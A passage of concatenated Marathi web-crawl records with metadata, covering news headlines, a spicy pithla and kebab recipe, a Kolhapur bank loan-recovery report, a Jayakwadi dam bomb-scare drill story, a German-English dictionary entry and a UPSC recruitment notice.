शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nओतूरला सहा ट्रॉली निर्माल्याचे संकलन\nओतूर - ता.जुन्नर येथे गणेशोत्सवा दरम्यान आयोजित निर्माल्य संकलन उपक्रमास नागरकांकडून मोठा प्रतिसाद मिळाला असुन गणपती विसर्जन काळात तब्बल सहा ट्रॉली...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00384.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.saamana.com/ravan-pithale-and-pathar-kabab/", "date_download": "2018-09-25T16:34:13Z", "digest": "sha1:SVC5EDIZL2ESEYDJMVIQ2ZSBTQJXFGF7", "length": 18889, "nlines": 264, "source_domain": "www.saamana.com", "title": "झणझणीत | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nमस्त तिखट… डोळ्यांतून आणि नाकातून पाणी आणणारे चमचमीत पदार्थ खावेत तर थंडीतच…\nथंडीमध्ये तिखट आणि चमचमीत पदार्थ खायची इच्छा होते. त्यामुळे या आठवडय़ात तसेच पदार्थ घेतले आहेत. तिखट व चमचमीत म्हटलं म्हणजे डोळ्यांसमोर झणझणीत मिसळ येते किंवा एखाद्या नॉनव्हेजचा रस्सा. मुद्दाम ते न देता येथे मी जरा वेगळ्या पद्धतीच्या रेसिपीज घेतल्या आहेत. पहिली रेसिपी आहे रावण पिठलं आणि दुसरी आहे पत्थर कबाब. देशस्थी पद्धतीचा हा पदार्थ. हे खूपच झणझणीत असतं. झुणक्यासारखं असूनही जबरदस्त तिखट असतं. थंडीत हे रावण पिठलं ज्वारीच्या किंवा बाजरीच्या भाकरीबरोबर खायला खूप मजा येते.\nदुसरा प्रकार पत्थर कबाब. गरम म्हटलं की तव्यावरचे पदार्थ लोकांना आवडतात. तव्यावरचे पदार्थ म्हणजे तवा भाजी, तवा पुलाव किंवा पावभाजी. हे पदार्थ ऍक्चुअली तव्यावर बनत नाहीत. ती तव्यावर टाकून सर्व्ह केली जाते इतकंच. म्हणून मी असा पदार्थ निवडलाय जो ऍक्चुअली शिजतोही तव्यावर आणि तो वाढायचाही तव्यावरच.\nसाहित्य : एक कप बेसनाचे पीठ, एक कप लाल तिखट, एक कप तेल, एक कप सुके खोबरे किसलेले, पाव कप कोथिंबीर. (फोडणीसाठी) मोहरी एक चमचा, हिंग पाव चमचा, हळद पाऊण चमचा.\nकृती : सर्वप्रथम बेसनाचे पीठ, लाल तिखट, तेल, सुके खोबरे आणि पाणी यांचे मिश्रण करून घ्यायचे. नंतर तेल गरम करून त्यात मोहरी, हिंग, हळद घालून तडतडले की वरील मिश्रण त्यात टाकायचे. शेवटी कापलेली कोथिंबीर त्यात मिसळायची. सर्व्ह करतानाही कोथिंबीर त्यावर भुरभरवायची. ज्वारी किंवा बाजरीच्या भाकरीबरोबर हे पिठले अप्रतिम लागते.\nसाहित्य : बोनलेस मटणाचे तुकडे २५० ग्रॅम, आले-लसणाची पेस्ट वीस ग्रॅम, दही शंभर ग्रॅम, लाल तिखट दहा ग्रॅम, मीठ चवीनुसार, गरम मसाला पावडर पाच ग्रॅम, तेल पंधरा मि.ली., कच्चा पपई ५० ग्रॅम.\nकृती : प्रथम बोनलेस मटणाचे तुकडे घेऊन ते बारीक करून घ्यायचे. त्यांना मग आले-लसणाची पेस्ट, मीठ आणि पपई लावून किमान दीड ते दोन तास बाजूला ठेवायचे. त्यानंतर एका वाटीत जाडसर दही घेऊन त्यात मीठ, लाल तिखट आणि गरम मसाला टाकायचे. हे मिश्रण बाजूला ठेवलेल्या मटणाच्या तुकडय़ांमध्ये घालायचे. आता हे मिश्रणही आणखी तीनेक तास बाजूला ठेवून द्यायचे. त्यानंतर जाड बुडाच्या तव्यावर थोडे तेल घालून मटणाचे तुकडे शिजू द्यायचे. या पत्थर कबाबवर थोडी कोथिंबीर, कांद्याचे काप आणि थोडा लिंबाचा रस टाकून सर्व्ह करायचे.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलकोळंब पुलावरील लोखंडी कमानीला अज्ञात वाहनांची धडक\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00384.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-loan-recovery-kolhapur-district-bank-maharashtra-6914", "date_download": "2018-09-25T17:49:09Z", "digest": "sha1:CDYJHDWACKA32XGMZTPXYHSWSANH3OK3", "length": 14869, "nlines": 148, "source_domain": "www.agrowon.com", "title": "agriculture news in Marathi, loan recovery of kolhapur District bank, Maharashtra | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nकोल्हापूर जिल्हा बॅंकेची सेवा सोसायट्यांमार्फत कर्जवसुली सुरू\nकोल्हापूर जिल्हा बॅंकेची सेवा सोसायट्यांमार्फत कर्जवसुली सुरू\nबुधवार, 28 मार्च 2018\nमाझे पीककर्ज असले तरी ते मी वेळेत पूर्ण करण्यासाठी प्रयत्न करीत आहे. नातेवाइकांकडून पैशाची जुळणी करून कर्ज नूतनीकरण करण्याला मी प्राधान्य दिले आहे. जिल्हा बॅंकेच्या वतीने सूचना देण्यात येत असल्या तरी सक्तीने कोणती कारवाई झालेली नाही\n- रमेश पाटील, शेतकरी, गडहिंग्लज\nकोल्हापूर : जिल्ह्यात थेट वसुलीपेक्षा संस्थांच्या पातळीवरच पीककर्ज असल्याने उसाच्या बिलातून थेट वसुली होत आहे. ज्या कारखान्यांची बिले अडकली आहेत, त्यांची वसुली अद्याप झाली नसली, तरी वसुलीसाठी जिल्हा बॅंकेने कुठेच फारसा तगादा लावला नसल्याची स्थिती आहे.\nकोल्हापूर जिल्ह्यात जिल्हा बॅंकेच्या सोसाट्यांमार्फत कर्ज दिले जाते. उसाची बिले गेल्यानंतर बिलातूनच कर्जवसुली करण्याची येथील सोसायट्यांची पद्धत आहे. यामुळे ज्यांचा ऊस गेला आहे. त्या शेतकऱ्यांचे कर्ज वजा जाऊनच शेतकऱ्यांच्या हातात उर्वरित रक्कम पडते. यामुळे बॅंकेत रोख रक्कम भरावयाला लागत नाही. परिणामी जिल्हा बॅंकेच्या मार्फत ही फारशी सक्ती केली जात नाही. ज्यांची बिले अद्याप जमा झाली नाहीत, ते शेतकरी मात्र नवे जुने करून कर्जाचे नूतनीकरण करून घेत आहेत. मात्र यासाठीही बॅंकेने सक्ती केली नसल्याचे बॅंकेच्या सूत्रांनी सांगितले. सोसायट्यांच्या मार्फत थकबाकी असणाऱ्या शेतकऱ्यांना सूचना दिल्या जात असल्या तरी सक्ती केली जात नसल्याचे बॅंकेनी सांगितले.\nखासगी बॅंकेच्या प्रतिनिधींनी मात्र वसुलीसाठी जोर लावला आहे. खासगी बॅंकेचे कर्मचारी मात्र शेतकऱ्यांकडे कर्जवसुलीसाठी हेलपाटे मारत असल्याचे चित्र आहे. यामुळे इकडून तिकडून पैशाची जुळवाजुळव करून कर्ज भरण्यासाठी शेतकऱ्यांची गडबड सुुरू आहे. अनेक नातेवाइकांनाही काही कालावधीसाठी मदत करण्याची मागणी शेतकऱ्यांच्या पातळीवर केली जात आहे.\nपीककर्ज कर्ज गडहिंग्लज कोल्हापूर कर्जवसुली ऊस\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nप्रथिनांचा उत्तम स्राेत ः गुणवंत चारापीकराहुरी येथील महात्मा फुले कृषी विद्यापीठाने...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nमॉन्सूनची माघार शनिवारपासूनपुणे : नैऋत्य मोसमी वाऱ्यांच्या (माॅन्सून)...\nसेंद्रिय शेतीसाठी शासनाच्या विविध योजनासेंद्रिय शेती आणि पीक उत्पादनवाढीसाठी राज्य आणि...\n‘जलयुक्त’ गैरव्यवहाराची फाइल पुन्हा...पुणे : जलयुक्त शिवार योजनेत बीड जिल्ह्यात...\nमहसूल उत्पन्न सूत्राचे ऊसदरामध्ये...पुणे : महसुली उत्पन्न विभागणीनुसार राज्यातील...\nतुरळक ठिकाणी पावसाचा अंदाजपुणे : ‘दाये’ चक्रीवादळ निवळून गेल्यानंतर राज्यात...\nमोदींनी सर्वात मोठी आरोग्य योजना '...रांची- पंतप्रधान नरेंद्र मोदी यांनी झारखंडची...\nकृषिपंपासाठी बड्या कंपन्यांच्या निविदाबारामती - राज्यातील दोन लाख ९० हजार शेतकऱ्यांच्या...\nमराठवाड्यातील ८६४ प्रकल्पांत ३३ टक्‍केच...औरंगाबाद : मराठवाड्यातील पाणीसाठ्यांमधील उपयुक्‍त...\nऊस ठिबक योजनेसाठी लेखापरीक्षकाची नेमणूक पुणे : राज्यात ऊस लागवडीसाठी ठिबक अनुदान...\nइथेनॉलमधील फरक ओळखण्यासाठी यंत्रणानवी दिल्ली ः देशात तीन प्रकारच्या मोलॅसिसपासून...\n‘ग्लायफोसेट’वर बंदी नाहीपुणे : मानवी आरोग्याला धोकादायक असल्याचा कोणताही...\nविदर्भात पावसाची दमदार हजेरीपुणे : बंगालच्या उपसागरातील ‘दाये’ वादळाने बाष्प...\nबचत गटांतून मिळाली विकासाला उभारीअस्तगाव (ता. राहाता, जि. नगर) हा तसा सधन परिसर....\nकांदाचाळीसाठी सव्वाशे कोटींचा निधीनगर ः एकात्मिक फलोत्पादन विकास...\nशेती, आरोग्य अन्‌ शिक्षणाचा जागरगावाच्या शाश्वत विकासासाठी शेती, आरोग्य, शिक्षण...\nमहाराष्ट्राची सिंचनक्षमता आता 40 लाख...मुंबई - शेतीयोग्य जमिनीतील केवळ 18 टक्‍के...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00385.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/it-was-not-bomb-near-jayakwadi-dam/", "date_download": "2018-09-25T16:51:49Z", "digest": "sha1:KM5ODCQQBJR23ZADP2JO7OAD4KPD63MJ", "length": 15950, "nlines": 257, "source_domain": "www.saamana.com", "title": "जायकवाडी धरणाजवळ ‘पत्रा बॉम्ब’ नाही, तर पोलिसांचा सराव! | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : लोकेश राहुलचे अर्धशतक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nजायकवाडी धरणाजवळ ‘पत्रा बॉम्ब’ नाही, तर पोलिसांचा सराव\nजायकवाडी धरणावर बॉम्ब असल्याची ती अखेर अफवाच ठरली असून पैठण पोलिसांच्या सरावाचा हा भाग असल्याचे स्पष्ट झाले आहे. दर 15 दिवसांनी अशा प्रकारचे सराव या भागात घेतले जातात, मात्र पथकाला याबद्दलची कोणतीही माहिती दिली जात नाही. त्यामुळे काही काळ तणावाचे वातावरण असते, मात्र पाहणी पूर्ण झाल्यावर सराव असल्याचे जाहीर करण्यात येते.\nदरम्यान, मराठवाड्याला पाणी पुरवठा करणाऱ्या जायकवाडी धरणाच्या मुख्य सुरक्षा भिंतीजवळ बॉम्ब सदृश्य वस्तू ठेवल्याचे आज सकाळी आढळून आल्याची बातमी वेगानं पसरली होती. त्याचे व्हिडीओही व्हायरल झाले होते. मात्र हा सरावाचा भाग असल्याचे स्पष्ट होताच साऱ्यांनी मोकळा श्वास घेतला. पोलीस निरीक्षक चंदन इमले यांच्या देखरेखीत हा सराव करण्यात आला.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागील१५० कोटी रुपयांत कोणते रस्ते होणार याची माहिती द्या – न्यायालय\nपुढीलपाच वर्षांचा चिमुकला रेल्वेतून पडून वाचला\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nदमदार पावसासाठी नाथ प्रतिष्ठानची कावड यात्रा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00385.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://www.collinsdictionary.com/hi/dictionary/german-english/abhangig", "date_download": "2018-09-25T17:40:55Z", "digest": "sha1:2HNWGGHBFLD5KMHWEWRKZWRQAPIOMY4Q", "length": 7822, "nlines": 161, "source_domain": "www.collinsdictionary.com", "title": "Abhängig का अंग्रेजी अनुवाद | कोलिन्स जर्मन-अंग्रेज़ी शब्दकोश", "raw_content": "जर्मन से अंग्रेज़ी शब्दकोश | वीडियो | पर्यायकोश | School | अनुवादक | कोबिल्ड ग्रामर पैटर्न | स्क्रैबल | वेबदैनिकी\n| साइन अप करें | लॉग इन करें मुख्य-पृष्ठ पर जाएं\nअंग्रेज़ी अंग्रेजी कोश अंग्रेजी शब्द सूची अमेरिकी पर्यायकोश ग्रामर आराम से सीखना Easy Learning Spanish Easy Learning French Easy Learning German Easy Learning Italian अंग्रेजी - फ्रेंच फ्रेंच - अंग्रेज़ी अंग्रेजी - जर्मन जर्मन - अंग्रेज़ी अंग्रेजी - स्पेनिश स्पेनिश - अंग्रेज़ी अंग्रेजी - इतालवी इतालवी - अंग्रेज़ी अंग्रेजी - चीनी चीनी - अंग्रेज़ी अंग्रेज़ी - पुर्तगाली पुर्तगाली - अंग्रेज़ी अंग्रेजी - हिन्दी हिंदी - अंग्रेजी\nजर्मन से अंग्रेज़ी शब्दकोश वीडियो पर्यायकोश School अनुवादक व्याकरण स्क्रैबल वेबदैनिकी\nसाइन अप करें लॉग इन करें मुख्य-पृष्ठ पर जाएं\nabhängig का अंग्रेजी अनुवाद\nउदाहरण वाक्य जिनमे abhängigशामिल है\nये उदाहरण स्वचालित रूप से चुने गए हैं और इसमें संवेदनशील सामग्री हो सकती है अधिक पढ़ें…\n abhängig कोलिन्स शब्दकोश के 1000 सबसे अधिक इस्तेमाल होने वाले शब्दों में से एक है\nउपयोग देखें: शुरूआत के बाद से अंतिम १० साल अंतिम ५० साल अंतिम १०० साल अंतिम ३०० साल\nअन्य भाषाओं में abhängig\nब्रिटिश अंग्रेजी: reliant ADJECTIVE\nयूरोपीय स्पेनिश फिनिश: dependiente\nअपने पाठ का मुफ्त अनुवाद करे\nabhängig के आस-पास के शब्द\n'A' से शुरू होने वाले सभी जर्मन शब्द\nसे abhängig का अनुवाद से जर्मन से अंग्रेज़ी शब्दकोश की परिभाषा\nspicedrop सितंबर २१, २०१८\nultradian सितंबर २१, २०१८\ngoader सितंबर २०, २०१८\nfarter सितंबर २०, २०१८\nप्रस्तुत करें और अधिक देखें\nजर्मन-अंग्रेज़ी शब्दकोश को ब्राउज़ करें\nसभी शब्दकोशों को देखें ...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00385.warc.wet.gz", "language": "mr", "language_score": 0.53, "bucket": "all"} {"url": "https://www.mahanmk.com/recruitment/upsc-recruitment-14042018.html", "date_download": "2018-09-25T17:59:59Z", "digest": "sha1:SYWXI5VAIC5ZCFUAVA2ZSXVSEG3U5KMZ", "length": 9528, "nlines": 136, "source_domain": "www.mahanmk.com", "title": "केंद्रीय लोकसेवा [UPSC] आयोगामार्फत विविध पदांच्या १२० जागा", "raw_content": "\nकेंद्रीय लोकसेवा [UPSC] आयोगामार्फत विविध पदांच्या १२० जागा\nकेंद्रीय लोकसेवा [UPSC] आयोगामार्फत विविध पदांच्या १२० जागा\nकेंद्रीय लोकसेवा [Union Public Service Commission] आयोगामार्फत विविध पदांच्या १२० जागांसाठी पात्र उमेदवारांकडून अर्ज मागवण्यात येत असून ऑनलाइन अर्ज करण्याचा अंतिम दिनांक ०४ मे २०१८ आहे. सविस्तर माहितीसाठी कृपया जाहिरात पाहा.\nअधिक माहिती खालीलप्रमाणे :\nव्यवस्थापक (Manager & Trade) : ०१ जागा\nवयाची अट : ४० वर्षे\nसहाय्यक प्राध्यापक (Assistant Professor) : १५ जागा\nशैक्षणिक पात्रता : ०१) MBBS ०२) संबंधित पदव्युत्तर पदवी ०३) ०३ वर्षे अनुभव\nवयाची अट : ४० वर्षे\nप्रशासकीय अधिकारी (Administrative Officer) : १६ जागा\nशैक्षणिक पात्रता : ०१) पदवीधर ०२) ०२ वर्षे अनुभव\nवयाची अट : ३० वर्षे\nसहायक भूगर्भशास्त्रज्ञ (Assistant Geologist) : ७५ जागा\nफायर / सिव्हिल इंजिनिअरिंग पदव्युत्तर पदवी\nवयाची अट : ३० वर्षे\nसहाय्यक संचालक (Assistant Director) : ०१ जागा\nवयाची अट : ४० वर्षे\nड्रग्ज इंस्पेक्टर (Drugs Inspecto) : ०७ जागा\nशैक्षणिक पात्रता : फार्मसी पदवी किंवा समतुल्य\nवयाची अट : ३० वर्षे\nकायदेशीर सल्लागार-स्थायी-सल्लागार (Legal Advisor-Cum-Standing Counsel) : ०१ जागा\nशैक्षणिक पात्रता : ०१) विधी पदवी ०२) १२ वर्षे अनुभव\nवयाची अट : ५० वर्षे\nविभाग प्रमुख (Head of Department): ०१ जागा\nशैक्षणिक पात्रता : ०१) IT पदवी आणि पदव्युत्तर पदवी ०२) १० वर्षे अनुभव\nवयाची अट : ४० वर्षे\nप्राचार्य (Principal) : ०७ जागा\nवयाची अट : ५० वर्षे\nप्रशिक्षण आणि नियुक्ती अधिकारी (Training & Placement Officer) : ०१ जागा\nशैक्षणिक पात्रता : BE /B.Tech\nवयाची अट : ३५ वर्षे\nकार्यशाळेचे अधीक्षक (Workshop Superintendent) : ०१ जागा\nवयाची अट : ३५ वर्षे\nसहाय्यक सार्वजनिक वकील (Assistant Public Prosecutor) : ०१ 